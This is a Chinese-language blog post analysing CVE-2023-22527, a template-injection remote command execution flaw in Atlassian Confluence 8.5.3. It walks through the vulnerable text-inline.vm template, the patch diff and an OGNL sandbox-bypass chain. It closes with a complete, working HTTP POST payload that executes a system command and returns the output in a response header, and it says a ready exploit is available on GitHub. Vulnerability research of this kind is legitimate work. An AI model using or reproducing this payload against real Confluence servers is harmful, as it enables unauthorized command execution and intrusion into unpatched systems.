CVE-2023-22527-Confluence模版注入命令执行
2024-06-28 / 共计1344 字
光阴似箭,我好像追不上!
Time flies like an arrow, and I feel like I can’t keep up!
很久没有关注最近出现的新漏洞了,这两天居然看见24年初confluence就爆出了一个的模版注入漏洞(居然过了半年才发现。。。),决定看看是怎么回事。
漏洞分析
在网上搜索相关信息,发现漏洞触发点在/template/aui/text-inline.vm,那就先看看atlassian-confluence-8.5.3/confluence/template/aui/text-inline.vm(使用的confluence-8.5.3与confluence-8.5.4进行分析的)可以很明显看到在$stack.findValue("getText('$parameters.label')")
中获取了请求中的label参数并传入了stack.findValue中,大概率就是这里产生的模版注入
先对比一下confluence-8.5.3与confluence-8.5.4漏洞修复后有了哪些改动,看到删除了文件ConfluenceStrutsUtil.class,并且继承了VelocityStrutsUtil,和模版有关,就从这里作为入手点进行调试跟进
在ConfluenceStrutsUtil.class处下断点,使用常规的payload先看看:
通过跟踪context数据的流向,从ConfluenceStrutsUtil.class开始最后可以发现调用了com.opensymphony.xwork2.ognl.OgnlValueStack#findValue并传入了我们输入的payload
最后在Ognl.getValue(tree, context, root)处进行执行OGNL表达式
成功发现传入的OGNL表达式已经成功执行,既然能执行OGNL表达式,那么多半就可以进行命令执行了
命令执行Payload编写
参考文章https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/?ref=blog.projectdiscovery.io
根据文章介绍org.apache.struts2.views.jsp.ui.OgnlTool 类在没有 OgnlContext 的情况下调用 Ognl.getValue(),即使 Ognl 库将负责创建默认值,但它不由Struts 框架提供,所以没有Struts 框架的安全限制。给出了Velocity模版模块利用链如下:
.KEY_velocity.struts2.context
-> (StrutsVelocityContext
)ognl
(org.apache.struts2.views.jsp.ui.OgnlTool
)struts
(org.apache.struts2.views.velocity.result.VelocityStrutsUtils
)
虽然能够执行命令了,但是还是没能回显,看见网上的poc后发现使用@org.apache. struts2.ServletActionContext@getResponse().setHeader来进行命令回显
Payload
使用@org.apache. struts2.ServletActionContext@getResponse().setHeader和Velocity模版模块利用链最终得到命令执行并带回显的payload:
POST /template/aui/text-inline.vm HTTP/1.1
Host: xxxx
Content-Type: application/x-www-form-urlencoded
User-Agent: https://t0ngmystic.com?agent=VDBuZ215c3RpYw==
Content-Length: 293
label=\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc,{})%2b\u0027&[email protected]. struts2.ServletActionContext@getResponse().setHeader('CMDR',(new freemarker.template.utility.Execute()).exec({"id"}))
已写好EXP,GitHub-Vulnerability_List自取
文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!
如果文章对您有帮助
欢迎关注公众号!
感谢您的支持!